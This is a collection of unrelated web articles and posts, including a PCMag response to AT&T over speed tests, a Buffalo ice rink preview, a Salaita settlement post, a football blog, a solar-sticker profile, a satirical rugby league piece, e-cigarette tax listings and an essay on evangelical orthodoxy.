-PCMag's Fastest Mobile Networks story tested eight networks in 30 cities. Unfortunately, after the tests were completed, AT&T decided to dispute one element of our results. In the interest of fairness, here is AT&T's statement and our response.  AT&T's Statement:  The PC Magazine speed tests show the incredible 4G LTE download speeds we provide our customers and validate that AT&T offers the best iPhone data experience. We have given PC Magazine independent data establishing that their testing app has a technical flaw that understates our 4G LTE upload speeds when a particular version of the Android software is used. This flaw disparately affected AT&T’s upload and overall results. It’s disappointing and a disservice to the public that the editors chose to publish results we have demonstrated are inaccurate.  We Respond:  We were surprised to get this response, as AT&T's network did extremely well in our tests. AT&T's LTE network won 10 of the 16 cities where it was both available and not spectrum-limited. (For more on that, see Why Spectrum Matters.)  AT&T was highly involved with our testing from the start. We used devices supplied by AT&T, and AT&T engineers spent several days helping to fine-tune our testing software before we got on the road. We used well-established testing software, which was also the basis of our 2011 network tests.  It also is worth noting that the Android devices supplied to us by AT&T were loaded with the Android 2.3 (Gingerbread) operating system, and it appears that consumers may see faster upload speeds with different versions of the Android operating system.  The upload speeds we got were exactly in the range promised by AT&T network architecture chief Kris Rinne when the network launched in 2011, as she told the AP.  All speed tests give different results, as you can see in our tests of Sprint's new LTE network. The most important thing to do in a story like this is to use the same test across all carriers and to let everyone have their say, and we feel we've done this.  For the top stories in tech, follow us on Twitter at @PCMag.
-I can’t wait for Thursday evening.  Today I was granted an unexpected tour of The Ice @ Canalside after I ran into Kaitlin McGee Chmura, Assistant Project Manager of the Erie Canal Harbor Development Corporation.  As we walked around the site we could see all of the last minute details being worked out before the big day. The speakers were installed, as were the lights. The skate rental shipping crate (upcycled) was in place, as was the concierge hut. There was a food and beverage kiosk that looked like it was ready to go to. Tomorrow the hut will be serving up hot cocoa to people as they enter the site. There were pine boughs and garlands hanging all over the bridges, which will all be lit up tomorrow night. A large Christmas tree was decorated from trunk to top – that too will be lit up tomorrow.  As we walked, we noticed that the first skater to ever skate on The Ice @ Canalside took to the ice to test it out. Then another skater joined him. It was a spectacle to watch the skater as he glided underneath the bridge that we were standing on. I thought about my own skates that hadn’t seen the light of day in years. Finally, they will be broken out and used this winter.  There are some pretty cool features at Canalside that I was not aware of. On one side of the rink’s perimeter, the surface is rubber, which means that skaters can walk from the storage lockers to the Adirondack chairs to the food and beverage hut, without ever taking their skates off. On the opposite side of the rink, the aggregate stone walkways are heated, which means that snow will never accumulate. Brilliant! There will also be a large heated tent for anyone who wants to warm up.  The public areas under the bridges protect people from the wind and falling snow (it’s all lit up too). On top of the bridges there are bistro tables and chairs set up, and propane heaters are being assembled to keep people warm. This will eventually be a “beer bridge” where people will be able to sit and order a frosty brew. Food trucks will be able to pull right up to the bridge, creating an instant food court.  I also learned that there is a graphic that has been added to the ice surface of the canal rink. The graphic bares the emblem of The Aud that once stood at the site. “That spot,” Kaitlin told me. “Marks the exact spot where center ice was at The Aud. It’s a tribute to the auditorium and the history of the Sabres.”  I also discovered that the ice surface had the markings for the sport of curling. Not only can you rent skates at Canalside (600 pairs of sharpened skates), you can also rent the equipment for recreational curling. The house Zamboni will make sure that the surface is slick enough for games at any given time.  The Larkinville huts are all set up and waiting for vendors. The place is coming together quick now. Everywhere you look there are signs of life about to be infused into the site. Tomorrow is going to be a great day for Buffalo. Look at the photos and insert people!
-My Secret Santa is pretty much amazing. The gift arrived about a month late but that was more than made up for. I received a Canon lens coffee mug...I LOVE COFFEE and I moderate r/ThisMug, which I'm sure is why all of the gifts were mugs. I also received a Pantone 376 mug. This one struck me as the most unusual, I can't imagine the amount of Googleing or just plain luck that this was the color chosen. When I was in high school I opened a computer repair shop and this is the exact Pantone color of my logo. I later managed a printing company, Moxicopy.com, I used the same Pantone color when recreating that logo. When Santa packed every thing up, two mugs were broken so they threw in $50.00.... unbelievable! I would have been happy with 1 coffee mug, even if it was late. THANK YOU ELODIN!
-It’s not what you think  I was happy to learn that Professor Steven Salaita reached a $600,000 settlement (plus $275,000 in attorney fees) yesterday in his lawsuit against the University of Illinois at Urbana-Champaign (UIUC). As others, including Steven Salaita, himself, have said, universities may now think twice before violating freedom of speech rights of faculty in order to satisfy wealthy Jewish donors. Here is a statement about the settlement by Salaita recently published on The Nation website.  In the article titled, “I Will Always Condemn Injustice, No Matter What The State Of My Employment,” Salaita wrote:  We can claim meaningful victory against UIUC. The most decisive of those victories is the knowledge that upper administrators will think twice—and ideally not at all—about wrecking academic freedom and faculty governance by kowtowing to Zionist hysteria.  However, Salaita will not be reinstated at UIUC, which was one of his initial demands and the university will not admit to any wrong doing. If Dr. Salaita would obtain a teaching appointment similar or better than the one he lost, I would view the settlement as a personal victory for him. But if pressure from the lobby will block such a job offer, as was the case with Norman Finkelstein, the monetary award would not even come close to compensating him for the subsequent loss of income.  I could think of no better person to ask about the Salaita settlement than Dr. Norman Finkelstein, who himself was a victim of Jewish lobby pressure when he lost his tenure battle at DePaul University in 2007. Like Salaita, Finkelstein was denied a position by the school administration who overruled the decision of a departmental faculty committee. Unlike Salaita, Finkelstein chose not to initiate litigation for what appeared to be a clear violation of his rights by the university administration. He was subsequently unable to obtain academic employment despite a stellar publishing history, extremely favorable student evaluations and a doctorate from Princeton University.  What follows is my complete and unedited correspondence with Dr. Finkelstein:  On Thu, Nov 12, 2015 at 8:04 PM, Ira Glunts wrote: Dear Dr. Finkelstein, I was one of the people who hosted your appearance in Cazenovia, NY about four years ago.  I was wondering what your reaction is to the Salaita settlement with UIUC.  Do you think he will be able to get an academic position in the US?  Can I quote your thoughts on this?  I would greatly appreciate hearing your thoughts on this matter.  I hope you are well and are enjoying the fall in NYC. Best,  Ira Glunts  Norman Finkelstein is known for views which surprise and sometimes dismay pro-Palestinian activists. His response definitely surprised this reporter who believes that Salaita is a gifted writer and speaker, and that he is well-qualified to hold an academic position such as the one he obtained at UIUC.  Dr. Finkelstein is known for his decades long history of sharp and incisive criticism of Israeli government policy. However, he has taken a number of positions which many understand as incompatible with pro-Palestinian activism and solidarity. Among these are his characterization of Boycott, Divestment and Sanctions (BDS) advocates as cultists, his view that the pro-Israel lobby does not influence U.S foreign policy, and his deriding of advocates of a one-state solution for Israel/Palestine, as hopelessly politically naïve.  In arguing the above positions, Finkelstein has maintained that he has been consistent in his thinking and that his views are in no way inimical to the Palestinian cause.  I chose to publish this correspondence with Dr. Finkelstein’s permission because there is a general interest in what Finkelstein thinks and because his statement may help shed some light on the kind of thought processes that inform his other views.  What follows is the complete and unedited response from Finkelstein to my message:  I don’t think you want to hear my reaction. I am not a party-liner. I gave that up when Chairman Mao passed from the scene: I’ve read Salaita–or, let’s say, I’ve endeavored to read him. Even Google has yet to invent a translation program that makes coherent sense of his prose. As of now, Salaita hasn’t lost a day of work (he spent the current academic year occupying the prestigious Edward Said chair at American University in Beirut), and he reportedly walks away from University of Illinois with nearly a million dollars. That’s not bad for someone with a PhD from the University of Oklahoma who, before being hired to teach Native American Studies at an excellent second-tier university, last taught English composition at Virginia Tech. He did not deserve to get fired, but in a rational world it would be cause for wonder how he got hired in the first place. It’s a telling commentary on the state of the humanities that his tweets got greater scrutiny than his (so-called) scholarship. You are free to quote this in full, but not to excerpt it. [Underlining in the original.]  There are two factual errors in the statement above. First, it is not true that Salaita “hasn’t lost a day of work.” Salaita did not teach in the fall semester of 2014 or in the spring semester of 2015. Secondly, Salaita received $600,000 in the settlement, not “nearly a million dollars,” as stated by Finkelstein.  Dr. Salaita, when asked by this writer to respond via email to Finkelstein’s statement wrote, “No comment.”  UPDATE #1: After publication, I was emailed this article, titled, “Dershowitz and Finkelstein: comrades at heart?,” by Steven Salaita which was written in 2013. I was unaware of the article’s existence when writing the above post.  UPDATE #2: Dr. Norman Finkelstein has informed me via email that at the time of my interview with him he believed that the settlement awarded Salaita was $875,000. This is due to the fact the some reports incorrectly stated that amount, neglecting to acknowledge that $275,000 was awarded to Salaita’s attorneys.
-Nathan Baker’s own goal against Reading had even his own team-mates perplexed (Picture: Getty Images)  Manchester United do it, regularly. Bradford did it, memorably. Even German fifth-tier side SV Rodinghausen have managed it, recently. But Stoke are the only side not to in the best part of eight months.  What am I talking about? Scoring against Aston Villa, of course.  The stats are pretty sobering, not to mention damning. No clean sheets in 2013. No clean sheets in any of the last THIRTY-THREE matches Villa’s first-team have played, be it league (22), cup (five) or friendly (six). A sorry run that stretches back to December 8 last year – when Villa and Stoke played out a goalless draw that was every bit as much fun as it sounds.  It’s a pretty embarrassing state of affairs if you’re a Villa fan (perhaps more so if you’re Kenwyne Jones or Jonathan Walters). And the leak hasn’t really been plugged, based on the evidence of pre-season.  Advertisement  Advertisement  They have conceded in all of their friendlies thus far, against the aforementioned SV Rodinghausen (a side at an equivalent level to Solihull Moors), two German second tier sides, plus Luton, Wycombe and Crewe.  Sure, results of friendlies mean very little – it’s all about building up match fitness, establishing patterns of play and integrating new arrivals into the squad. Performance 1, results 0. And the constant rotating of personnel in warm-up matches makes the odd defensive mix-up inevitable.  Pre-season goals conceded just add weight to the view that Villa, with their callow defence, start each match 1-0 down.  Villa leaked goals regularly from corners last season, notably in the Capital One Cup semi-final against Bradford (Picture: Getty Images)  Taken in isolation, these pre-season goals could be viewed as aberrations. But instead they just add weight to the view that Villa, with their callow defence, start each match 1-0 down.  Poor judgment blighted the inexperienced Villa defence last season.  Witness the regular corner kick fiascos or Ciaran Clark’s naivety against Manchester City in March. But sometimes it was just sheer bad luck that prevented clean sheets – own goals by Ashley Westwood, Nathan Baker and Fabian Delph stopped Villa from shutting out West Ham, Reading and Fulham.  New signing Jores Okore, highly-rated by all who saw him play for Nordsjaelland in the Champions League last season, should add quality to the spine, and Antonio Luna’s arrival adds further competition to Villa’s busy left-back slot (but more of that in a later blog).  Advertisement  Advertisement  However, Okore suffered a hamstring injury in the match against Rodinghausen and has been in treatment ever since. Without him, it may be back to the same Lowton-Vlaar-Baker-Bennett quartet which, while individually talented, seems prone to an error or two.  With Christian Benteke, Gabby Agbonlahor, Andi Weimann and Nicklas Helenius in attack next season, Villa will have goals in abundance. But if some of the basic mistakes of last season are repeated, we’ll need at least two to win matches.
-Editor's Note: Xiaolin Zheng is one of National Geographic's 2014 Emerging Explorers, part of a program that honors tomorrow's visionaries—those making discoveries, making a difference, and inspiring people to care about the planet.  The catalyst for Xiaolin Zheng's groundbreaking work in solar energy began with an offhand comment her father made years ago at her parents' apartment, a 13-story complex in the northeast China city of Anshan.  “In China, the rooftops of many buildings are packed with solar energy devices,” says Zheng. “One day my father mentioned how great it would be if a building’s entire surface could be used for solar power, not just the roof, but also walls and windows.”  An invention from Zheng's research team at Stanford University might someday make that possible. They have created a type of solar cell that is thin, flexible, and adhesive—a solar sticker, in effect, that could help power everything from buildings to airplanes.  “By making solar cells extremely thin and flexible, they can be used in all kinds of new ways," says Zheng, an associate professor at Stanford and recipient of the U.S. Presidential Early Career Award for Scientists and Engineers. "I hope our discovery will dramatically expand the affordable, practical, widespread application of solar power.”  In 2010, a decade after her father’s initial comment, Zheng read a research paper that triggered the idea again. It described an experiment in which the nanomaterial graphene was grown on a layer of nickel atop a silicon wafer. When submerged in water, the nickel separated from the surface, along with the graphene.  “It sounded unbelievable, like a magic trick,” she recalls, “But they had achieved very reliable results.” What if, she wondered, the same principle could be used to yield a thinner, more flexible solar cell that could peel off, attach to adhesive, and stick to virtually any surface?  Because conventional thin-film solar cells are manufactured on glass or silicon wafers, they are rigid, heavy, and quite limited in how and where they can be used. Plastic or paper would be far more flexible, but it cannot withstand the high temperatures and chemicals required for fabrication.  “Our new technique lets us treat the solar cells like a pizza,” explains Zheng. “When you bake pizza, you use a metal pan that can tolerate high temperatures. But when it’s time to distribute the pizza economically, it’s placed in a paper box."  Working with her students, Zheng set out to fabricate solar cells on a silicone or glass surface as usual, but she inserted a metallic layer between the cell and the surface. After some trial and error, the team was finally able to peel away the metallic layer from the surface after soaking the whole structure in water for just a few seconds.  The result was an active solar cell that is only a couple of microns thick—about one-tenth the thickness of plastic wrap, Zheng says. "It’s extremely flexible, so it can be attached to any surface—the back of a mobile phone, a skylight, a wall, a curved column.”  The skinny, bendable cells can produce the same amount of electricity as rigid ones, and they offer cost benefits as well, according to Zheng. “The silicon wafers come through the process clean and shiny,” she says. “So just like a pizza pan, they can be used again and again, which translates to savings.” And because the solar stickers are lighter than conventional panels, they will be easier and less expensive to install.  The stickers might be able to reduce manufacturing costs too, Zheng says. In traditional solar-cell production, the foundation materials account for 25 percent of the cost. The new method will enable that base layer to be removed or replaced with a cheaper material. For example, the windows of a building provide a ready-made base layer, so all that’s needed is the solar cell itself. A cell that could simply be peeled and applied enables that economical shortcut.  Zheng predicts peel-and-stick solar cells could one day paper the sides of buildings, cover sidewalks to light walkways, energize home security systems, and help power solar cars or planes. Along with industrial uses, she envisions being able to stop at your corner store to pick up a pack of solar cells the way you buy batteries today.  To help realize those large-scale applications, Zheng's team wants to test the technology with more efficient cells than the ones used for the initial breakthrough.  "Our cells will also need to be larger, expanding from their current one-square centimeter size to a square foot or even square meter," Zheng says. New equipment will be needed, too, for the peel-off process that the researchers conducted by hand in the lab.  Her research group is also looking into how solar energy could be used to split water atoms, producing hydrogen and providing a potentially cheaper, more efficient way to fuel everything from transportation to home heating.  “As scientists,” she says, “I feel it is profoundly important to use our work to improve the world. For the future of our environment, we need to advance renewable energy rather than heavily relying on fossil fuels to meet growing demand. Solar power has always been my favorite because sunshine is so clean, abundant, and has fewer limitations on where it can be used.”  Exactly how her solar-sticker idea will evolve from a nanoscience lab to the real world is not yet known. Now that the technology has been tested and proven, however, it's a testament to value in pursuing a seemingly outlandish notion.  “Everyone has crazy ideas about some discovery that could change the world,” Zheng says. "Those ‘what if’ questions are always in the back of your mind. You also always keep your eye on the latest emerging technologies. When those two worlds happen to connect, it’s great.”
-As a valued friend of the GIANTS you can access 4 x FREE tickets to the GWS GIANTS match at Spotless Stadium this Saturday in Sydney Olympic Park.  The match details are below:  WHEN MATCH TIME Saturday, 30 April GWS GIANTS v Hawthorn 4.35pm  To register for your tickets simply follow the steps below and see you at the game!  1. To redeem your FREE family pass within general admission, CLICK HERE  2. Login to your existing GIANTS account or register for a new account. Note, you must create an account before entering the promo code password at step 4.  3. Select “Find Tickets” next to your match  4. Type the password “NEVERSURRENDER” when prompted to enter a promo code (no spaces, all capitals)  5. Select your number of tickets (max 4 per person) and click “continue”  6. Review your order and click “add to cart”  7. If you already have a GIANTS account, simply log in using your email and password. Otherwise click on “create an account” and enter in the details requested  8. Select your delivery option (TicketFast Tickets only) and click “Checkout”  9. Agree with the terms of use and select “submit order”  10. Select “Print tickets” and scan in at the gate on game day  For any questions, please contact ticketing@gwsgiants.com.au or call 1300 GIANTS (1300 442 687) during business hours only. Tickets are strictly subject to capacity so get in early to avoid missing out.  See you at the game!
-Russian officials say four suspected members of an illegal armed group were killed by security forces in an operation at an apartment building in St. Petersburg.  Investigative Committee spokesman Vladimir Markin said the members of Russia's Federal Security Service (FSB) went to the apartment on August 17 to apprehend people recently added to a federal wanted list.  The individuals were added to the list for alleged participation with militant groups in the volatile North Caucasus region, Markin said.  He said the suspects posed resistance to the FSB agents and opened fire but were killed in a shoot-out.  Witnesses said gunshots and explosions were heard at the scene.  Markin said no civilians or security forces were injured in the incident.  People who were evacuated from the apartment building have been allowed back into their homes.  Based on reporting by TASS, Interfax, and Meduza
-8 September, 2016. 11:15  CLANCY OVERELL | Editor | CONTACT  With the NRL finals starting this week, clubs across the country have switched on damage control – with many clubs bringing in a flat out alcohol ban on all players – to avoid any off-field controversies in the most important fixtures of the year.  However, in the deep north, Townsville city council have reinstated their annual amnesty for all North Queensland Cowboy footballers who find themselves on the wrong side of either the law or public opinion.  “The last thing we want is to lose a player for six rounds like the Roosters lost Pearce,” said Townsville mayor, Jenny Hill.  “So we’ve asked all local media, police and pub-owners to please not report anything that might hinder our boys in their quest for back-to-back premierships,”  “It worked for us last year, and fingers crossed it will work again. We could have lost most of the side to that southern-centric Integrity Unit in if the NRL got a whiff of half the shit our boys got up to in 2015,”  With the news that five North Queensland Cowboys players have been charged after allegedly egging cars in Townsville – it appears that the police involved have been stood down indefinitely without pay.  The players were in a car stopped by police for a random breath test before midnight on Wednesday when an unknown person accused them of throwing eggs.  After the footballers were officially charged in a disgusting display of disrespect and flat out idiocy – both the local police, local council and North Queensland club executives have ask QLD Police to relocate the police officer in question as soon as possible.  “It’s disgusting,” Jenny Hill says.  “He must be new up here. We have an amnesty for our boys and he should have known that”.  The only exception to the amnesty is in regards to southern-born footballers who are likely to represent NSW in the State Of Origin series.  “In the case of Tamou getting pinched for drink driving a few years back, we can all agree that was a fair exception,”  “We spoke to the club beforehand and came to the conclusion that they would be able to continue the season without him. While we do have the support of the local cops, journalists should consult council before reporting on anything that could affect the line up,” said Hill, while dressed head-to-toe in Cowboys merchandise.  With the NRL season back in full swing, it is a matter of time until young rugby league players from low socio-economic backgrounds begin making headlines for doing things that might be considered a “bit grubby” in public places.  “Yeah, anything short of domestic violence is gonna be overlooked,” said local police chief, Ben Katter. His comments were met with a roaring reception from the local residents in attendance.  “If they don’t like it down south, they can get fucked. For too long our club was overlooked due to dodgy refs and we aren’t going to end this streak any time soon,”  “Fuck the Southerners. The North will rise again,”  The council meeting was called to end shortly after the amnesty was re-voted in by a vast majority of the citizens that were present, this was followed by a stirring a-cappella rendition of Lee Kernaghan’s Boys From The Bush by lord mayor, Hill.  SEE ALSO: Townsville Man Accused Of Being A Cop After Wearing Closed-In Shoes To The Pub
-MINNEAPOLIS -- Since the beginning of this year, 22 states and the District of Columbia have introduced bills that would assess an excise tax on electronic cigarettes and nicotine liquid solutions used in e-cigarettes. With some state legislatures already adjourned and other states moving closer to adjournment for the year, the picture on e-cigarette taxes is becoming clearer.  What is interesting is not just the fact that so many states are considering e-cigarette taxes, but also the different methods being proposed to tax e-cigarettes. So far, bills in eight states to tax e-cigarettes have either been defeated or died due to adjournment of the legislature.  These eight states and the proposed tax rates that failed include the following:  Arizona: 18 cents per milliliter of nicotine solution.  Arkansas: 7.5 cents per milliliter of nicotine solution.  Indiana: 24% of the wholesale price.  Kentucky: 40% of the wholesale price.  Montana: 1.73 cents per milligram of nicotine solution.  Nevada: 30% of the wholesale price.  New Mexico: 4 cents per milligram of nicotine solution.  Virginia: 18 cents and 40 cents per milliliter of nicotine solution.  The other legislatures with tax bills still pending include the following states:  Alabama: 25 cents-per-milliliter of nicotine solution.  Hawaii: 70% of the wholesale price.  Maine: Cigarette tax rate of $2.00.  Massachusetts: Cigarette tax rate of $3.51.  Minnesota: 30 cents per milliliter of nicotine solution.  New Hampshire: 73.94% of the wholesale price.  New Jersey: 75% of the wholesale price.  New York: 75% of the wholesale price.  North Carolina: 3 cents per milliliter of nicotine solution.  Ohio: 60% of the wholesale price.  Oregon: 81.25% of the wholesale price.  Rhode Island: 80% of the wholesale price.  Vermont: 46% of the wholesale price.  Washington: 60% of the retail price.  Washington D.C.: 70% of the wholesale price.  For those state legislatures that have not passed an e-cigarette tax bill, there are several key reasons for not enacting such a tax. First, there is uncertainty as to how e-cigarettes and nicotine liquid should be taxed. That uncertainty is reflected in the five different tax methods proposed under these bills including an OTP rate, a per-milliliter rate, a per-milligram rate, a cigarette tax rate, and a percent of the retail price. Second, e-cigarette taxes will not generate a significant amount of tax revenue. Third, some lawmakers do not want to use tax policy that would discourage people from transitioning to e-cigarettes.  The tax landscape on e-cigarette taxes will become clearer as additional states wind up their 2015 state legislative sessions in the next several months.  During January of this year, bills have been introduced in eight state legislatures to assess a tax on electronic cigarettes or the nicotine liquid solution used in e-cigarettes. These proposed tax bills include the following:  Arkansas: House Bill 1156 would assess a tax of 7.5 cents per milliliter of nicotine liquid solution.  Indiana: Senate Bill 384 would tax e-cigarette vapor products at a rate of .83 cents per milligram of nicotine in each milliliter of nicotine liquid solution.  Nevada: Senate Bill 79 assesses a tax on nicotine liquid solution at the rate of 30% of the wholesale price.  New Mexico: Senate Bill 65 taxes a tax of four cents per milligram of liquid nicotine liquid solution in an electronic cigarette.  New York: Assembly Bill 296 and Senate Bill 722 tax electronic cigarettes and electronic cigarette cartridges at a rate of 75% of the wholesale price.  Oregon: Two bills, D1037 and D2268, would expand the definition of tobacco product for purposes of taxation to include electronic cigarettes and nicotine liquid solution in order to  apply the state’s tobacco tax rate of 65% of the wholesale price.  Virginia: House Bill 1310 imposes a tax on electronic cigarettes and other vapor products at a rate of 40 cents per milliliter of nicotine liquid solution.  Washington: House Bill 1645 and Senate Bill 5573 would impose a tax on electronic vapor products at a rate of 95% of the taxable sales price.  With many state legislative sessions just beginning this month, plus four state legislatures that open their 2015 legislative sessions in the next month or two, there could be bills introduced in other states to propose a tax on electronic cigarettes or the nicotine liquid solution used in e-cigarettes.  Currently, only Minnesota and North Carolina tax the sale of e-cigarettes with Minnesota assessing a tax rate of 95% of the wholesale price and North Carolina assessing a tax rate of five cents per milliliter of liquid nicotine solution.
-Armor Your VR Machine Prepare yourself well to enjoy the impressive world of Virtual Reality. Before that, you have to make sure everything is qualified, including hardware, software and drivers. Motherboard is the key to connect every critical components and ASRock's VR Ready motherboards are definitely the one you're looking for. The premium qualify is assured by rigorous testing during development. The sturdy components and rock-slid performance makes you completely immersive in the VR scenario. Users can be assured to experience VR enjoyments without any compatibility problems.  Triple Monitor  Digi Power  ELNA Audio Caps  A-Tuning  Live Update & APP Shop  Graphics, graphics and even more graphics! You've demanded for more eye candy, so this motherboard supports Triple Monitor. You may choose up to three display interfaces from the rear i/o to connect monitors and use them simultaneously without installing another graphics card.*Supported with A-Series APUs only.Unlike traditional motherboards that use analog power, this motherboard uses a next generation digital PWM (Pulse-Width Modulation) design, which provides CPU Vcore voltage more efficiently and smoothly, so that the stability and lifespan of the motherboard is greatly enhanced.Who says high quality audio is only available on high-end motherboards? ASRock applied ELNA audio capacitors on mainstream and entry-level motherboards! Compared with traditional solid caps, the leakage current of ELNA audio caps is merely 3uA. This is the key to reduce noise level significantly and satisfy even the pickiest audiophiles.A-Tuning is ASRock's multi purpose software suite with a new interface, more new features and improved utilities.ASRock Live Update & APP Shop is designed for your convenience. We provide various apps and support software for users to download. You can also easily optimize your system and keep your motherboard up to date with ASRock Live Update & APP Shop.The specification is subject to change without notice in advance. The brand and product names are trademarks of their respective companies. Any configuration other than original product specification is not guaranteed.The above user interface picture is a sample for reference. The actual user interface may vary with the updated software version.
-LONDON, Oct. 21 -- British atheists announced Tuesday a high-profile advertising campaign to put posters on London buses that say: "There is probably no God. Now stop worrying and enjoy your life."  By Tuesday night, as many as 3,400 donors had given about $80,000 on a Web site set up to take contributions to fund the ads. The money arrived along with messages that ranged from witty to nasty, summed up by one from a donor who gave 25 pounds ($42): "Hoorah for the non-believers!"  "We wanted it to be a positive message," said Hanne Stinson, chief executive of the British Humanist Association, which plans to advertise on buses starting in January. "It's about telling people that it's okay if you don't believe in God. If it raises a smile, too, good."  While the vast majority of Britons identify themselves as Christians, only a small percentage attend services regularly. Atheism is far more popular, and socially and politically accepted, in Britain than in the United States.  Many people who do not believe in God call themselves humanists or secularists. The British Parliament has an active and growing group of legislators who describe themselves as humanists.  One of the world's most outspoken and provocative advocates of atheism, Oxford University Prof. Richard Dawkins, best-selling author of "The God Delusion," is a member of the humanist association and pledged to personally match donations up to 5,500 pounds (about $9,300), Stinson said.  "This campaign to put alternative slogans on London buses will make people think -- and thinking is anathema to religion," Dawkins is quoted as saying on the Web site.  The Church of England issued a statement Tuesday defending the humanists' right to express their views but disagreeing with their message. "Christian belief is not about worrying or not enjoying life," it said. "Quite the opposite: our faith liberates us to put this life into a proper perspective. Seven in ten people in this country describe themselves as Christian and know the joy that faith can bring."  In an interview, Stinson said the initial goal was to raise 5,500 pounds, enough to put advertising on the sides of 30 of London's extra-long "bendy buses" for four weeks. But the Web site was swamped with donors.  One person pledged 10 pounds and left the comment, "Spread the word, and consign this superstitious nonsense to the dustbin of history! America, are you listening?"  Another donated 5 pounds and said, "Marvelous. Sorry it's just a fiver -- I'm between jobs at the moment."  Stinson said she was surprised by the outpouring: "It says something about the very loud voice that religion has in our society. People want something to balance that off." The campaign's unexpected success could mean it will be expanded to include posters inside buses or in the London subway.  A spokesman for Transport for London, which operates city buses, said buses have carried ads for religious groups, but never ads promoting atheism. He said the humanists had not yet formally submitted an ad request.  The ads are "not intended as an attack" on anyone's faith, Stinson said. In her view, they do not encourage people to become atheists, but rather are meant to offer support to "people who already do not believe in God."  The idea for an atheist ad campaign first surfaced in June, as a suggestion by television comedy writer and journalist Ariane Sherine in a column in the online version of the Guardian newspaper. Sherine noted that ads running on the London buses at the time directed people to a Web site that declared that those who do not believe in God will spend "all eternity in torment in hell."  The humanist association agreed to take on the project. The bus ads are designed to tell atheists that they will not burn forever in the "lake of fire" described on the religious Web site, Stinson said. "It's about reassurance."
-What does it mean to be “evangelical”?  What must you believe?  What must you reject?  Can you be an evangelical Christian and believe…  …in evolution?  …that Hell is only temporary?  …that people from other religions can be saved without even knowing it?  …that the atonement is not about God’s wrath being poured out on Jesus in our place?  …that Scripture is errant?  Many evangelicals would say “no” to most—maybe even all—of these. That’s why, in an attempt to protect the name of evangelicalism, some prominent leaders within evangelicalism have made it their responsibility to publicly denounce those with whom they disagree on issues like these.  To be clear, there is no problem with publicly denouncing ideologies (that is, after all, what this article is doing right now). It is, at times, necessary to publicly call out false teachers. However, one must fully consider whether they promote a different gospel before coming forward with such a bold claim.  But we’re not talking about denouncing ideas or exposing real false teachers. We’re talking about needless schisms and inconsistent, prideful exclusivism.  Self-appointed gatekeepers of evangelicalism tear apart what could be a noble, diverse movement of the Spirit. These gatekeepers take it upon themselves to pronounce who is “in” and who is “out” of orthodox Christianity.  By the standards of these gatekeepers, the definition of “evangelical” is becoming increasingly narrow, so much so that very few fit inside the definition.  So, if we are going to be consistent, it’s time to weed out all of the heretics—especially those who have the most influence—not just Rob Bell, Rachel Held Evans or other Christian thinkers who have said something controversial recently.  Let’s start with these six:  1. C.S. Lewis: Guilty Of Inclusivism and Rejecting the Penal Substitutionary Atonement Theory  Perhaps the most celebrated Christian writer of the last century, C.S. Lewis is respected by most Christians, no matter what theological corner they occupy. And that’s what confuses me. Lewis was no evangelical by the standards of modern evangelical spokespersons. Lewis’ seven-volume, fictional masterpiece, The Chronicles of Narnia, reveals his belief that it is possible for people in other religions to inherit the Kingdom of God without knowing it.  Lewis also rejects the Penal Substitutionary theory of the atonement, which states that Christ “diverted” God’s wrath toward us and took it upon Himself. Instead, in part three of Chronicles, Lewis describes what is called the “Christus Victor” view of the atonement, which holds that the Cross is not an image of God’s wrath against us, diverted to His son, but it was the defeat of evil through an act of selfless love. (Here is a video of Greg Boyd giving a good description of that view using Lewis’ imagery.)  2. Martin Luther: Guilty of Rejecting Biblical Inerrancy  Where would evangelicalism be without Martin Luther? He is the father of the Reformation and the champion of Sola Scriptura.  But to the dismay of every evangelical Calvinist, I fear I must be the bearer of bad news that Martin Luther apparently didn’t believe the Bible is fully inspired, true or trustworthy.  Speaking of inaccuracies in the books of Chronicles, he states, “When one often reads that great numbers of people were slain—for example, eighty thousand—I believe that hardly one thousand were actually killed.”  3. St. Augustine: Guilty of Rejecting a Literally Reading of the Creation Story  In his work The Literal Meaning of Genesis, Augustine (to put it bluntly) thought Christians who took the Creation Story literally were a laughingstock and looked like idiots among non-Christians because they denied science and reason. This is Augustine, the one to whom we can give credit for the doctrines of original sin and Hell as eternal conscious torment (which are at the core of reformed theology).  Here is his statement:  “It not infrequently happens that something about the earth…may be known with the greatest certainty by reasoning or by experience, even by one who is not a Christian. It is too disgraceful and ruinous, though, and greatly to be avoided, that he [the non-Christian] should hear a Christian speaking so idiotically on these matters, and as if in accord with Christian writings, that he might say that he could scarcely keep from laughing when he saw how totally in error they are. In view of this and in keeping it in mind constantly while dealing with the book of Genesis, I have, insofar as I was able, explained in detail and set forth for consideration the meanings of obscure passages, taking care not to affirm rashly some one meaning to the prejudice of another and perhaps better explanation.”  Few are the pulpits he would be allowed to fill among conservative churches in our day.  4. William Barclay: Guilty of Universalism  William Barclay’s iconic little blue commentaries are on the shelves of many pastors. So it’s odd that Rob Bell has been so roundly rejected for holding essentially the same belief as this celebrated theologian.  Barclay writes, “I am a convinced universalist. I believe that in the end all men will be gathered into the love of God…the choice is whether we accept God’s offer and invitation willingly, or take the long and terrible way round through ages of purification.”  In that work, Barclay also lists early church fathers, Origen and Gregory of Nyssa, as two other Christian Universalists.  5. John Stott: Guilty of Annihilationism  John Stott is one of the great evangelical Christian thinkers of the last generation. Stott rejected the view that Hell is eternal conscious torment of the wicked and suggested, instead, that the unrepentant cease to exist after enduring the penalty for their sins.  He wrote, “I believe that the ultimate annihilation of the wicked should at least be accepted as a legitimate, biblically founded alternative to their eternal conscious torment.”  6. Billy Graham: Guilty of Inclusivism  Billy Graham is, perhaps, the epitome of the evangelical identity.  Or, so we thought…  Like C.S. Lewis, Graham believes that those who do not hear of Christ may, indeed, be saved without explicitly confessing Him as Lord.  In a 1997 interview with Robert Schuller, Graham said:  “[God] is calling people out of the world for His name, whether they come from the Muslim world, or the Buddhist world or the Christian world, or the non-believing world, they are members of the Body of Christ because they have been called by God. They may not even know the name of Jesus, but they know in their hearts that they need something that they don’t have, and they turn to the only light they have, and I think that they are saved and they are going to be with us in heaven.”  There are plenty of other examples: George Whitefield’s lobbying for slavery, Martin Luther’s hatred of Jews, John Calvin’s approval of burning heretics at the stake, etc. etc.  Now, you hopefully find it ridiculous to reject these great and godly people. Which is why it’s amazing to me what we ignore in order to protect ourselves from the truth. We want our “heroes of the faith” to be perfect in theology and conduct, so we ignore or justify the parts we don’t like.  We all do it.  So, maybe it’s time to extend a bit more loving kindness to the evolutionists, to those who reject inerrancy, to those who take the Bible literally when it says that God will redeem all people to Himself, to the Rob Bells and the World Visions.  And for those of us on the moderate-progressive side: maybe we can find it in ourselves to turn the other cheek and 